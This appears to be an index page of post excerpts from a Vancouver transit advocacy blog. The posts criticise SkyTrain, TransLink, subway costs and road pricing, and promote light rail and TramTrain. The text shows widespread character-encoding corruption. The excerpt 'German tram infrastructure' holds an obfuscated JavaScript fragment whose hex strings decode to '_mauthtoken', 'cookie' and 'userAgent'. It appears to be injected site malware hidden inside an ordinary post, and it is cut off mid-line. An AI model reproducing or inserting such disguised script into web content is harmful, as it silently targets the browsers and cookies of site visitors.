    A comment about land development along the proposed $3 billion Broadway Subway? No, it is a comment about over densification from high rise flats in Melbourne, Australia. So how is Melbourne going to cope, transit wise? Build a subway? No subway for Me...

  • Road Pricing - One More Slurp At The Trough

    From Bob Mackin and the Breaker. Zwei has studied "Road Pricing" and "Congestion Charging" for over 20 years and the very first rule for a successful road pricing scheme is that the region have a user friendly and affordable public transit alternative....

  • Et Tu Meggs!

      Et tu Brute is a Latin phrase meaning "and you, Brutus?", "even you, Brutus?" or "you too, Brutus?", purportedly the last words of the Roman dictator Julius Caesar to his friend Marcus Brutus at the moment of his assassination. The quotation is...

  • Freight Tram Trials in St. Etienne France

    The concept of freight trams has been around for a while, in fact the concept is quite old. The success of Dresden's freight tram was based on moving car components, via container, from one factory to another across the city. In St. Etienne, it's the c...

  • Mainstream Media Scammed Again On Transit

    Zwei knew this was a scam from the start. Well,Ai?? China's miracle "straddling bus "; the bus that was going to solve urban transit woes with its revolutionary concept, has been deemed a scam! Absolutely no surprise here. What was sad to see and hear,...

  • Fire on SkyTrain - The $3 Billion Question

    As SkyTrain ages, its equipment deteriorates and today, a fire has happened and apparently not caused by a pyrotechnic birds nest. As mentioned many times by Rail for the Valley, about $3 billion needs to be invested in the ART/ALRT SkyTrain lines to b...

  • Ontario looks at hydrogen-powered trains

    As hydrogen fuel cell technology improves, the application for 'rail' transit is close to become a reality. The main problem for hydrogen fuel cell transit is that the cell tends to produce power at a steady rate, but poor in providing power at times o...

  • Boondoggle In The Making In Montreal

    It seems Montreal taxpayers are being taken for a $9 billion Bombardier ride, with the proposed 67 km Montreal light metro project. The proposed Montreal LRT is not LRT at all, rather it is a light-metro, using the Bombardier Innovia body shell, using ...

  • Is TransLink Hiding Subway Costs?

    [caption id="attachment_16396" align="aligncenter" width="648" caption="TransLink has never estimated the costs associated with maintaining a subway."][/caption] I wanted to post this item, not to show problems with London's proposed BRT, rather that c...

  • BC, Building Our Way To Gridlock.

    Someone please memo this to the Minister of Transportation; the Premier; the Mayor of Delta and the BC Liberal party. Guest column: Wider roads wonai??i??t solve congestion problem (AP Photo / Jae C. Hong) 6356725 Ai??- See more at: ...

  • Road Pricing -To Hide Transit Blunders In The past And Blunders Yet To Come

    The major rule about "Road Pricing" or congestion charges and that is, one must have an affordable and user friendly transit system in place before road pricing will be accepted by the populace, if not, it is not going to happen. The Metro Vancouver re...

  • SkyTrain Incidents - A Most Curious Article

    Gregory (Scotland YardAi??detective): ai???Is there any other point to which you would wish to draw my attention?ai??? Holmes: ai???To the curious incident of the dog in the night-time.ai??? Gregory: ai???The dog did nothing in the night-time.ai??? Hol...

  • The Regional Mayor's Pork Barrel Express

    The provincial government is in turmoil and those who "Pay to Play" on the municipal scene are getting anxious, as billions in potential profits are being put on hold for the moment. The Metro Vancouver's metro Mayors Ten Year Plan is nothing more t...

  • Canada line Goes Ka-Put - Could Dirty Tunnels Be The Culprit?

    The Canada Line was down for three hours on Friday, but if one was looking for evidence of it, well TransLink is doing its best to cleanse the internet from reporting the problem. Trying to avoid the fiasco of last winter, where TransLink abandoned cus...

  • Bombardier's Blundering Is Alstom's Gain

    Recent problems with Bombardier's delivery of new trams for Toronto has made Canadian customers look elsewhere. For two long, Ottawa has twisted arms of Canadian transit operators to buy the Canadian Bombardier product, to keep production going, propp...

  • TransLink Spinning In Circles

    So, it took the compass Card to make transit more user friendly - NOT! Is not TransLink's main function to make transit user friendly, so more people perceive it is a good product, use itAi?? and hope, vote accordingly if there is another plebiscite? T...

  • China's Loneliest Subway Station

    Metro madness gone wild in China. Looking like a set from a Sci-fi series, building a subway, for the sake of being a subway, has major financial consequences. Let us not make the same mistake in Vancouver, where transit traffic flows along Broadway ar...

  • A Subway Conversation Unheard in Vancouver

    Subways sound great - at first, but when the realities of subway operation, including extremely high costs and user unfriendliness, the love affair with subways tend to wane with customers. The huge cost of subway construction, means economies must be ...

  • Proposed Massey Tunnel Bridge Replacement Is Now Said To Be $8 Billion More!

    $8 billion is a lot of 'spreadin around' money and $8 billion for one bridge seems a tad pricey. This bridge is not about traffic congestion or better transportation, this bridge is a gift to the Vancouver Port Authority so massive Panama Max. and Cape...

  • UK Developer Must Help pay for Rail Connection

    [caption id="attachment_16257" align="aligncenter" width="700" caption="Tavistock Railway Station will be seeing passengers again in 2022!"][/caption] The UK is reopening once abandoned rail lines to cope with congestion and increased population. ...

  • The NDP Support "Rail" Transit for the Fraser Valley

    Well it tool seven long years for this as it is the first time any of the mainstream political parties have even acknowledged the need for a passenger/commuter rail service for the Fraser Valley. The main contender? Rail for the Valley's Leewood Study ...

  • TramTrain - It's Time To Have Another Look At The Leewood Project

    While local politicians squabble about expensive transit planning and gouging the taxpayer to pay for multi billion dollar transportation vanity projects, economic and user friendly TramTrain construction and operation continue to increase. Isn't time ...

  • Weaver and the Greens Haven't a Clue

    Weaver hasn't a clue about transit and throwing more money after bad will not improve it. The "road pricing" issue is nothing more than a wet squib; for road pricing to be publicly accepted and successful one must have a viable and user-friendly transi...

  • Are SkyTrain's MK. 1 Cars Safe?

    As the Scarborough ICTS cars and Vancouver's MK.1 cars are the same, one would surmise there are corrosion problems with Vancouver's cars, especially in Vancouver with airborne salt from the sea. Does the public have the confidence in TransLink to keep...

  • German public transport sets new record

    No surprise here! After the "locust years" of the 70's and 80's, German tramways have reinvented themselves and very successfully too. German tramways have set the standard for modern efficient and cost effective operation. The key for this success? Ge...

  • Edmonton LRT - To Be or Not To Be, That is The $220 Million Question

    The question Edmonton transit planners are being asked; "Does transit need to be user friendly or auto friendly ?" In Edmonton to be auto friendly means adding at least $220 million to the cost of the project. What this article illustrates is the cost ...

  • Tram-trains on test in Sheffield

    TramTrain operation is expanding at a good pace in Europe, where the economy and customer friendliness of the mode is now established. Is it not time our politicians, planners and especially BC Transit and TransLink have a look at the mode? I find it d...

  • The Subway Panacea Myth

    Subway here, a subway there, a subway everywhere. The notion that a subway is best way to solve congestion, emanates from the USA where it is considered the biggest is the best. The more expensive a transit project is, the better it is. This is simply ...

  • This Is No April Fools - None The Less, The Fool Is The CBC

    I just shake my head at this. At first, I thought it was an April fools joke, but no, it's not, rather it is a reporting farce. A chap who is a mining shill, with no expertise in public transport is calling for a subway to be built to UBC. All he is tr...

  • More Highways On the Horizon

    New highways always bring the so called experts into the fray. The problem is; we don't have any, rather the region has a hodge podge of academics, planners and engineers calling themselves experts and the result is what is happening now. The real prob...

  • Sparkle Ponies and Fairy Dust

    The appalling reporting on transit by the local media continues, all what is reported is sparkle ponies and fairy dust. Here are the financial problems that TransLink faces: Estimated cost of the Broadway subway - $3 billion+ Estimated cost to refurbi...

  • Freight Tram Rides Again

    Dresden's famous freight tram is back in service. One of the most under rated tram success stories is the Dresden freight tram, which conveyed car parts between two factories, using the cities tram network. It is easy to see why freight trams have not ...

  • LRT Is Not Rapid Transit

    The real problem with the proposed Surrey LRT is that light rail is not rapid transit, it can be designed as such, but when it is it loses its affordability and operational edge over proprietary gadgetbahnen, like ART SkyTrain light-metro. The LRT in S...

  • Transportation planning has become a bullshit field

    Interesting article on Toronto's transit scene which mirrors Vancouver's. In Vancouver, decades of bad planning, based on up-zoning properties adjacent to SkyTrain Lines to obtain higher densities, which benefits the "condo kings" and land speculators ...

  • Subway or LRT? The Debate In Toronto That We Are Not Allowed In Vancouver

    This article is a must read for those in Vancouver who want to debate the proposed Broadway SkyTrain subway. Three items that need attention: As Toronto does not operate with LRT, their capacity numbers for LRT are inaccurate. Since the 1980's the cap...

  • A Useful Idiot

    In political jargon a useful idiot is a person perceived as propagandist for a cause whose goals they are not fully aware of, and who is used cynically by the leaders of the cause. Former premier Mike Harcourt continues to regale anyone who will listen...

  • A DMU Service, Not Gondolas, Best Option to Link North Shore!

    Gondolas are a niche transit system used for solving unique transit problems. While transit servicing SFU mayAi?? present niche transit problems, especially in winter, crossing Burrard inlet does not. The SFU gondola has been reported in this blog seve...

  • The Liberals Dangle A Very Stale Carrot

    The BC Liberal election BS machine is now in full swing. The Liberals announced a "commuter rail working group" to confirm the viability of commuter rail for the Capitol Region. This begs the question: "Who has the capability and knowledge to come to a...

  • Cowardly TransLink Hides The Truth

    This is a rather strange story. A dog is scared by fireworks and ends up on the SkyTrain's tracks, how, TransLink isn't saying. I would wager Transport Canada would like to know. SkyTrain is a driverless light-metro and when it operates at-grade it mus...

  • Rapid Transit to the North Shore - 4 to 6 Billion Reasons Not!

    I see politicians are floating trialAi?? balloons about transit, before the upcoming election and from the North Shore it is extending rapid transit to North Vancouver and beyond. The cost to extend the Canada Line or the ALRT/ART Lines (both lines are...

  • Subway Costs Rise - Chill Financial Winds From Scarborough

    As the cost of the Scarborough subway escalates, senior TransLink officials are desperately trying to find money to build Vision Vancouver's massive "vanity" project, the Broadway SkyTrain Subway. Subways are hugely costly to build and hugely costly to...

  • Really? TransLink Tries To Spin The Evergreen Line

    In the real world, modern trams or LRT lines are not considered unless traffic flows are 2,000 pphpd or more. Light-metro's like SkyTrain, on the other hand, need traffic flows of at least 10,000 pphpd, to justify construction. Now, TransLink is trying...

  • Why Can't Translink Plan For Affordable LRT?

    While Surrey's proposed LRT is topping $100 million/km to build, in Europe new LRT lines are being built much cheaper. In Weisbaden, their new LRT is pegged at $24.5 million/km to build! Analysis: Fire the Surrey LRT planning team and hire people that ...

  • Light Rail Denial And TransLink

    There seems to be a general naivete about Light Rail or LRT in the media, due in part to TransLink's war on LRT, with their well advertised preference for light-metro. Today, except for "niche transit" solutions, public transport is divided into three ...

  • The Return Of The Branch Line - Can You Say E&N, RftV?

    Most railway enthusiasts in the UK treat Beeching as a leper. In fact, Beeching predicted the end of local railways altogether, leaving the UK with just three or four trunk lines, connecting major cities by the 21st century. This is not to argue that r...

  • Bombardier Takes A Disruntled Customer To Court

    Bombardier is late delivering new trams to Toronto, so Toronto's Metrolinx threatened to cancel the contract. The Federal Liberals just gave Bombardier Inc. a $372.5 million loan, so what does Bombardier do? That's right, sue Metrolinx because Bombardi...

  • Even Your Auditor General Seems To Have Done His Sums On The Back Of Envelopes

    Let us hearken back to the days of yesteryear and remember Zwei's take on the AG's audit of the Evergreen Line was. SkyTrain cheaper than LRT, not a chance unless it was deliberately designed to be so! As one overseas expert succinctly put it...

  • Canada Line Ka-Put For Evening Rush Again! - CEO Kevin Desmond Must Resign!

    Twice in three days, the Canada Line has called it quits during Monday's evenings rush hour. Snow, again is the culprit, but really, that excuse is wearing thin. By world standards, it isn't a lot of snow that has fallen (1 cm per hour) and with trains...

  • ai???Very seriousai??i?? allegations over Scarborough subway debate referred to Ontario's auditor general

    I wonder if the same thing could happen in Metro Vancouver as well? The AG's office did a review of the Evergreen Line and it was fraught with misinformation and professional misconduct, sadly I doubt they could do an honest review of any transit proje...

  • Light Rail for Dummies

    Quote: "........scrapping bike lanes to make way for diverted car traffic defeats the purpose of LRT" Exactly! To reduce congestion, one must reduce road space, but provide an attractive and affordable transit alternative. LRT has proven to be that att...

  • User Freindly Transit Not Welcomed by TransLink

    TransLink once had user friendly transit programs such as a "family free ride", but friends of the government who act for lobbyists offering fare-gates and expensive fare card take priority. In fact most transit authorities around the world have some s...

  • TransLink - Extremely User Unfriendly

    As Zwei has said before TransLink and its SkyTrain mini-metro system is extremely user unfriendly. The current fare regimen is fraught with complications and contradictions, people make mistakes, yet TransLink seems unable or unwilling to fix it. IT IS...

  • Tram Trains for Hungary!

    TramTrain, one of the fasted growing transit sectors in the world and why not; extending public transit cheaply by using existing infrastructure is a win, win situation. The cost ofAi?? of a 25.3 km of route including 3.3 km of new single track line is...

  • More Pre Election Transit News - Monty Python Plans For Transit

    Unlike the mainstream media, the Georgia Straight always has better reporting on the local transit scene. This is nothing more than a staged media event featuring two growingly unpopular Mayors, Hepner and Roberts and the ever unpopular TransLink. With...

  • The Pre Election BS Begins!

    Let's see now......election in May; a provincial Premier who doesn't give a damn about regional transit; political donors getting restless for payback; yes the BC Liberal BS machine is in full swing. A $100 million/km LRT that goes nowhere and a $3.2 b...

  • Today all Dutch trains are powered 100% by wind energy

      Something to think about. Question: Can we use wind generated power to sell the Leewood RftV TramTrain scheme? Today all Dutch trains are powered 100% by wind energy In the Netherlands all NS's 1.200.000 train trips per day are now without a...

  • Memo to Metro Mayors: Forget Road Pricing, build With LRT!

    As Vancouver's metro mayor's dig themselves further into a financial morass, with the proposed now $3.2 billion Broadway subway to Arbutus and the now over $100/km Surrey LRT, which will demand more and more punitive regional taxation, why instead don'...

  • Congestion Everywhere, No Releif in Sight!

    As predicted in 1980! There are affordable solutions, but they would embarrass the MoT, the City of Vancouver and academics, especially at SFU. An ever growing population, means more traffic and until the government ensures an attractive and affo...

  • E & N Railway Resurrection?

    E&N resurrection? I hope so and a developer, no less, is spearheading the drive to move to "rail" transit. RftV wishes Mr. Mariash well. If Fraser Valley developers were of the same mind as well? CTV Vancouver Island Published Thursday, December 8...

  • Fare Gates - Not As Advertised

    TransLink's fare-gates and Compass Card system was forced upon TransLink, not to reduce fare evasion, which was well within industry norms, but to ensure then Premier Campbell's good friend, Ken Dobell, work as aAi?? lobbyist for Cubit Industries who m...

  • TransLink's Ridership Bamboozle Continues

      TransLink continues it ongoing program to bamboozle the public and politicians with their patented ridership bumf. Boarding's are up 4%, really? Maybe, but boarding's do not equate into actual higher actual ridership numbers, especially with th...

  • Ottawa News

    Big things are happening in Ottawa, as the European light rail Renaissance has arrived in Canada Ai??Photos: Courtesy Haveacow. Vehicle testing marks next big milestone for O-Train Confederation Line December 2, 2016 News Release ...

  • Game Changer for Regional Rail!

    What the FRA does, Transport Canada will soon follow. This news is of great importance to Metro and Victoria's metro regions, bringing in a transit option that Rail for the Valley has been championing for many years. Proven European technology combined...

  • Ransomware Attack On The Muni Results In Free Travel.

    Interesting! I wonder what TransLink would have done? If TransLink doesn't have a computer hack plan, they better get one soon as it seems electronic fare cards are vulnerable. San Francisco made its public transit free for a day after it was hacked ...

  • UBC expert fears Vancouver subway is still far off

    Transit improvements coming soon? Don't hold your breathe because TransLink's planning is extremely suspect. Certainly new buses will arrive for new routes and new drivers, mechanics and the rest of the employees needed to operate the new buses will be...

  • Phase One To Oblivion

    Well, it had to happen, the fools council has approved 'phase one' of Translink's ten year plan. I doubt that any of the mayors in this old boys/girls club know very much about transit, but they certainly know what gets them votes and transit is a moth...

  • Sounds of Silence

    No surprise here, as Zwei has been sounding alarm bells over this upcoming fiasco for years Now TransLink has an American out of Seattle as the new CEO and this means the sky is the limit for spending on rail transit. Seattle's LRT is LRT in name only...

  • Unlike Toronto, TransLink Can't Cancel A SkyTrain Contract

    Toronto is cancelling its contract with Bombardier, which would have provided light rail vehicles for Toronto's planned LRT network and the TTC is also looking at dumping Bombardier as the supplier for their tram replacement program due to non delivery...

  • Broadway Subway Is Luxury Wrapped In Opulence - Designed To Sell A Mock P-3?

    It did not take long for the Liberal fixers in Ottawa to hatch a scheme to keep their political friends awash in taxpayer`s dollars. Public transit schemes are generally not money makers, in fact the vast majority of public transit operations around...

  • The Railway for the Dead - Halloween Special

    For Halloween London's Necropolis Railway Devoted to carrying corpses, the London Necropolis Railway was the spookiest, strangest train line in British history ai??i?? but also possibly the most useful. By Amanda Ruggeri 18 October 2016 For 87...

  • Stupid Is As Stupid Does - I Expect Nothing More From TransLink

      So, what do the three new board members know about transit? Zilch, nada, nothing. But, I bet they all know how to cash a stipend. Thus the farce we call TransLink, continues. This is pork barrel politics at its very worst!   Three new mem...

  • Do The SkyTrain MK.3 Cars Have A Fatal Flaw?

    Really. No, really, can't TransLink come up with a better excuse than a "high tech glitch" for the recent embarrassing problems with the brand new MK.3 cars? Evidently not. Mk.3 cars high tech? No. What the Mk.3 car is a new universal body shell to fit...

  • In Metro Vancouver......

    The subway lobby seem hard at it in Toronto and have been caught out by an independent public watchdog, set up to protect the taxpayer. Metro Vancouver and its member municipalities has no such watchdog to watch for bureaucratic or political malfeasanc...

  • Trams for Kuala Lumpur? Evidently Light Metro Did Not Reduce Congestion!

    Interesting news from Kuala Lumpur, transit experts urge that trams be used. Kuala Lumpur already has an elevated RT line; a ART (SkyTrain) Line and an monorail, now transit authorities urge trams! The key phrase; ".......the mode of transportation cou...

  • What - SkyTrain Ka-Put Again?

    For a transit system that it's supporters claims to be almost problem free, the proprietary ART/ALRT mini-metro has stopped working several times in the past week, mostly during the rush hour. There is a new word in TransLink's lexicon and it is "timed...

  • INFRASTRUCTURE

    One politicians "infrastructure" is another one's waste. It's not transit or transportation projects we build, rather it is infrastructure. The SkyTrain Broadway subway is deemedAi?? by Vancouver politicians to be a good investment of the taxpayer's mo...

  • The BRT Myth Exposed!

    The following is from the Urbansit from Seattle and is quite interesting. First of all, for those who care to know, Seattle's LRT is indeed a light-metro, which ultimate capacity is over 32,000 pphpd (today, itai??i??s 16,000"on the existing line befor...

  • The Tallinn experiment: what happens when a city makes public transport free?

    An interesting read for those who want free transit, but remember, free transit comes at a price.   The Tallinn experiment: what happens when a city makes public transport free? Since Estoniaai??i??s capital started providing ...

  • Calgary, Alberta: Green Line LRT tunnel option approved in principle by Calgary city council

    Everyone wants tunnels and subways. Victorian railway companies in the UK, bankrupted themselves with needless and over engineered tunnels because they were in vogue. Calgary's LRT was designed more as a light metro than light rail, but that still did ...

  • Scarborough Subway Derailing?

    Unfortunately financial reality is now setting in in Toronto and building subways are a very expensive proposition.. The cost to replace the aging Scarborough ICTS mini-metro with a one stop, 6 km. subway (about the same length as a Broadway subway to ...

  • A Tale of Two Cities - The Utsunomiya LRT Versus The Shambles in Surrey

    This article should give a good indication of the cost of modern light rail being built today. The proposed Utsunomiya LRT, is of course narrow gaugeAi?? and will have somewhat narrower trams, with a reduced capacity than LRT built inAi?? Canada, but ...

  • Subways - Red Flags in Ontario - Should The Same Be Happening Here?

    It now seems Ontario's big subway plans are costing more, a lot more to build than what was first proposed as exampled by the Toronto York Spadina Subway Extension, whose cost soared over from $1.5 billion to $3.2 billion! TransLink is blithely planni...

  • TransLink Will Not Come Clean On Subway Costs

    Nothing new here. The truth is very simple, subways are very expensive to build, as TransLink found out with the Canada Line. We have to remember that the cost of the Canada Line soared past the first estimated cost of $1.3 billion, to around $2.7 bill...

  • Horgan Doesn't Get It

    John Horgan and the NDP just do not get it and they never will and by only consulting with the party faithful, all they have is a self-serving transit and transportation policy that is both unaffordable but unworkable. TransLink does not have an incom...

  • What about the Patullo Bridge? Updated

    In light of today's news that the Pattullo Bridge not only will collapse in a seismic event, it may topple in a wind storm. Pattullo Bridge vulnerable during seismic or ai???high-windai??i?? events: Report Zwei believes the old child's song should be u...

  • News From Ottawa

    Our friend Haveacow is working on the Ottawa LRT and has reported that the Belfast Maintenance and Storage Facility Yard is now officially energized. Here are a few more pictures of the East Segments that will soon be powered up. The OCS (Overhead Co...

  • SkyTrain doesn't Breakdown - Well Almost Never

    The aging SkyTrain seems to be having a rough time lately, but it is to be expected as most proprietary transit systems age badly. TransLink has a new word for its lexicon, "temporary" and lest us hope that the delays are not permanent. The problem wit...

  • New Highways & Bridges Will Not Reduce Congestion - It will Increse It!

    Bigger and wider bridges and adding new lanes to existing highways will not reduce congestion, but do the opposite, increase it! Yet this is the BC's governments big transportation plan. TransLink continues to plan for a "Toonerville Trolley" for Surre...

  • Metro Mayors Bite The Bullet

    Metro Mayors, with visions of federal cash dancingAi?? in their heads approved a draft transit plan part of their so called ten year plan. Like all other transit ten year or twenty year plans that have come and gone, this one was drafted, probably on o...

  • "The problem with TransLink is that you can never believe what it says............"

    The problem with TransLink is that you can never believe what it says; TransLink never produces a report based on the same set of assumptions." Former West Vancouver Clr. Victor Durman, Chair of the GVRD (now METRO) Finance Committee. Old habits die ...

  • SkyTrain Embaresses Itself Again

    Oops! Rush hour, the time that transit must work, but with SkyTrain it doesn't matter as it craps out now all to regularly. Again, aging complicated automatic transit systems grow more unreliable, making transit less dependable, which in turn makes the...

  • Is TransLink's Real Problem Just Bad Management

    No surprises here, where over 130,000 deep discounted U-Pass 'cheap fare cards' (unlimited travel for a $1 a day) issued to post secondary students comes into play. As rental costs soar past the unaffordable, post secondary students must either commute...

  • Over to You Mr. Cow - The Vancouver Sun's Recent "Puff" SkyTrain Story

    This comment from Mr. Cow deserves a post of its own as there is so much information here, it deserves a wider audience. As Mr. Cow is a Canadian Transit Engineer, his comments are well worth reading. When SkyTrain 'crapped-out' in the Summer of 2014 t...

  • Montreal, Quebec - op-ed: death of Canadian light metro ??

    An interesting read. Why would Quebec's Caisse de dAi??pA?t et placement du QuAi??bec, invest in the obsolete SkyTrain? Could the real reason be to help Bombardier out of its aerospace financial embarrassment, by buying ART? At the current rate, the p...

  • Port Mann Fiasco

    Gridlock is endemic in metro Vancouver. TransLink has become the "clown of transit planning" and now with with two very expensive vanity projects, the truncated Broadway SkyTrain subway and the Surrey LRT, which is being planned as a "poor man's" SkyTr...

  • First CA?diz tram-train arrives - While the Fraser Valley waits for a train that never comes!

    As Fraser Valley mayors twiddle their thumbs and do nothing but invent excuse after excuse for not wanting a passenger rail service in the Fraser Valley, new TramTrain operations continue to expand elsewhere. Our regional mayors are lost in a time caps...

  • Now do you beleive Zwei!

    Zwei has stated over and over again, one modern tram and tram driver is as efficient as six to eight buses and six to eight bus drivers and for every tram or bus operated one needs a minimum of four people to drive, maintain and manage them. As wages ...

  • For Whom The Toll Tolls

    Not surprised at all about this as a similar issue arose in children sports. Last year my child's sports team saw a dramatic drop in players, from what was about 50 to less than 15. The team manager, upon inquiries, soon found the answer. Because of th...

  • PyrAi??nAi??es Line Reopens - How About The Same Quality of Servcie to Chilliwack?

    Interesting news from France. The cost to reopen this 25 km line, which was derelict for thirty-six years, was ai??i??102 million or CAD $146.5 million or put another way the cost to do the same with the former Vancouver to Chilliwack interurban line, ...

  • Metro Vancouver Rejectes Massey Tunnel Replacement Bridge

    Bakken oil and thermal coal unit trains from the American mid west are the big driver for the Massey Tunnel replacement. As expected. The real reason for the bridge is, of course nothing to do with the safety issues with the tunnel, rather Fraser Surr...

  • TransLink Vindictive & Incompetent? You Decide

    Almost same thing happened to my wife who forgot her Compass Card at work only it cost her a big fine. Hell of a way to keep your customer base. User friendly, TransLink is most definitely not. The student had a valid U-Pass, TransLink get over it; the...

  • The Costly White Elephant In The Room

    While Vancouver mayor Pines for a SkyTrain subway under Broadway and Trudeau the Younger smiles at the cameras with promises of transit manna from heaven, no one is addressing the real subway issue: costs! It is now estimated that the Millennium Line s...

  • Evergreen Line Woes - How Much Over Budget?

    The Honolulu light-metro is $1.4 billion over budget. Toronto's Scarborough subway is already $900 million over budget. Then it should not come as a surprise that the Evergreen Line is over budget. The question is, by how much? Evergreen Line dela...

  • Trudeau's Big Announcement: Big Winners - Bombardier and Bureaucrats

    Ah, such a photo-op for our new PM; oh, such an announcement, but really, this just a rehash of old news releases tarted up for a photo-op so PM Trudeau can claim that BC has not been left out of the Liberals game plan of shoveling money off a back of ...

  • China's ai???Silkwormai??i?? Tram Unveiled

    Our not so friendly SkyTrain Lobby would have us believe that light-metro is being built in quantity in China. Not so fast, as China's huge city populations would demand large metro operations, not capacity constipated light-metro like our SkyTrain. At...

  • Much Ado About Nothing

    Photo-op's are a politician's best friend, so now we have all three levels of government glad handing for the camera's on the transit issue. The key sentence is; ".......that would allow the three levels of government to at least get started on parts o...

  • Zwei Told You So! Few Fare Cheats On SkyTrain!

    So, where is the massive fare evasion that warranted over $200 million spent on the Compass Card and Fare Gates for the SkyTrain light-metro system? No massive amounts of fare evasion you say? Maybe it was all those U-Pass holding students that confuse...

  • Honolulu light metro now $1.1 billion (CAD $1.41 billion) over budget

    Attention Metro Vancouver transit planners, it seems the Honolulu light-metro is now $1.1 billion (CAD $1.41 billion)over budget. As TransLink aggressively pursues light metro for regional transit planning, alarm bells are sounding in Honolulu. The tro...

  • If Broadway's Transit Ridership Doesn't Improve, Cancel the Subway

    Memo to TransLink, the city of Vancouver, the Mayor's Council, and Mr. Factbender, subways need a large mass of ridership to justify construction. Quote: "This is way less than the 15,000 riders used as the benchmark for justifying subway service, and ...

  • A Subway To Nowhere

    For a $5 billion, 12 km subway to UBC, under Broadway.... .....one could build a tram network in Vancouver and North Vancouver! Zwei been advocating for trams on Broadway since the 80's, well more and more people are now seeing that instead of a $5 bil...

  • Counting the Chickens

    Bob Rennie is a developer. He makes his money by assembling properties, having the municipal council up-zone the assembled properties to allow higher densities to build his condo's. Bob Rennie is not a transit expert. Bob Rennie loves expensive rapid t...

  • The Rapid Transit Density Con Game Exposed

    Vancouver's unique rapid transit/density debate is now fully exposed as a con game and nothing more. TOD or transit oriented development has been the philosophers stone for so many academics, transit, and planning pundits that they remain oblivious to ...

  • The TransLink Debacle - Brought To You In Part, By Mr. Factbender

    Nothing new here. TransLink was conceivedAi?? by the NDP to get then GVRD Chair, George Puil on board to support the now renamed (ALRT to ART) Millennium Line. No one in the NDP at the time had any thought of making TransLink independent as control of ...

  • Sorry David Suzuki, You Are Wrong

    Sorry David, you are wrong. TransLink does not have a income problem, it has a spendingAi?? problem as it spends about three times more to build with the now obsolete light-metro instead of light rail. Our proprietary light-metro system also costs abou...

  • Is Factbender Going To Announce SkyTrain To Langley On Canada Day?

    "You are going to get SkyTrain whether you like it or not", has been the popular refrain from notable BC politicians including Bill Bennett, Bill Van der Zalm, Grace McCarthy, Glen Clark, Joy McPhail, Gordon Campbell, Kevin Falcon and now, Factbender...

  • TransLink's PR Stunt & Factbender Follies

    TransLink is going to review fares. Great, I thought, they are listening to the public, who hold the ossified bureaucracy in high odor, but it was too good to be true as the minister in charge of Transit, Mr. Factbender is rehashing an old idea, creat...

  • Roses in full bloom along Tokyo's only tram line

    How about roses blooming along the Arbutus corridor complete with trams? Roses are in full bloom along the only streetcar line in TOKYO, Japan's capital city, according to "the-japan-news dot com" site:Ai?? <http://tinyurl.com/jp72uc4> Roses in...

  • Honolulu is Learning the Vancouver Lesson - Build Light-Metro At Your Financial Peril

    Updated May 22, 2016 - Added CAD currency conversions. Bombardier and SNC Lavalin spent years grooming Honolulu City politicians to build with light-metro. For their efforts, Bombardier and SNC got pipped at the post by Ansaldo with their proprietary l...

  • Why the car is winning the commuter war - Simple, it is called SkyTrain

    The modern tram brings fast, reliable and user-friendly public transport to densely populated European Cities, like Amsterdam. The ability of the transit customer of having his/hers transit on the pavement and easily accessible, makes modern light-rail...

  • Is gridlock the real Expo 86 legacy for Metro Vancouver?

    Charlie Smith of the Georgia Straight is the one reporter who has studied the transit issue and knows the issues. Despite the hype and hoopla, especially from provincial politicians (both Liberal, Socred & NDP) the SkyTrain Lobby, the many issues ...

  • Trolleybuses Tank in Leeds UK

    New Transit projects in the UK go through a rather onerous process before approval and the Leeds trolleybus projects did not stand up to scrutiny. It would be fair to say that not one of the SkyTrain or mini-metro projects could have stood up against a...

  • Subways Age Badly

    Old Zwei has touched this subject many times; Subways age badly and they cost a lot to keep in good condition. Renewal costs are not generally factored in with budget calculations and tend to be a nasty surprise for politicians who were not around when...

  • Another Vancouver Sun "PUFF" Story

    In one of the greatest non stories from the pages of the Vancouver Sun, the announcement that the Evergreen ART cars will be operated on the ALRT/ART system as they arrive. Why wouldn't they? Let us not forget the Evergreen Line is the unfinished porti...

  • One Last Gasp For SkyTrain In Quebec - Will The Liberals See Through The Ruse?

    Though the Bombardier and SNC owned ART (SkyTrain, they hold the patents) proprietary railway is not mentioned, I would bet the farm that Bombardier and SNC are behind this to build an ART automatic railway. Bombardier's home province is Quebec, yet Qu...

  • Evergreen Line Cost Overruns & Broadway Subway Censorship - Business As Usual At TransLink

    Hats off to Bob Mackin, for his continued journalistic investigation of TransLink and SkyTrain. The cost overruns on the Evergreen Line were expected as TransLink's Business Case for ART for the Evergreen Line was as phony asAi?? the proverbial $3.00 b...

  • Compass Card Hack - Another Fine Mess TransLink Has Gotten Into

    Not well reported in the mainstream media is the fact that the $200 million Compass Card/Fare gate systemAi?? is now next to useless because not so honest people can hack through the system. The Compass Card is old tech, sold to TransLink after an orch...

  • Ontario Could Get Half Of Ottawaai??i??s $3.4B Transit Infrastructure Money This Year

    No surprise here, as Ontario holds the key for the Liberals reelection in three years hence and the Libs need some transit projects to cut ribbons in front of. BC, as always will get crumbs, but we well deserve it as regional politicians still want hug...

  • With Subway Headway And Capacity

    Our American friends down south are beginning to understand the Light Rail Renaissance in Europe. For too long, the 'old ways' of commuter trains and subways were considered the only ways to provide quality transit and except forAi?? a few bold cities...

  • Could Daily Passenger Service Return to the Former BCR?

    If there is to be a new passenger service on the former BCR route VIA Rail would be the operator. The return of the North Vancouver to Prince George passenger rail service is a good idea, both for travelers and for tourists. Leaving from downtown Vanco...

  • Tunneling in Ottawa

    When it comes to subways, unless there is no other alternative, Zwei firmly believes they are a vanity project, which only drives up the cost of transit. The same thing happened in Victorian England, where several railways bankrupted themselves by bui...

  • German tram infrastructure

      Here is an interesting web site on German tram infrastructure.   var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x6...

  • Rail for the Valley In The news

      From the Chilliwack Times. Dream of light rail from Chilliwack to Surrey isn't dead The idea of creating light rail on the old interurban line from Chilliwack to Surrey may have faded in recent years, but proponents still want to see it happe...

  • Surrey LRT - Paying More for Less

    Modern lawned tramway in France, will be also be used in Liege. What I wish to illustrate that the 11 km, 21 stop Liege tramway, including 19 Citadis trams, will cost about CAD$51 million/km to build. As well, P-3's are not a transit funding panacea. T...

  • BART's Problems Today Are TransLink's Problems Tomorrow

    Aging metro systems are a big problem in North America and the more complicated the transit system, the more costly it is to maintain. Unlike TransLink, BART's (Bay Area Rapid Transit) bureaucrats are far more forthcoming with system ills and for th...

  • Traffic Congestion Declines

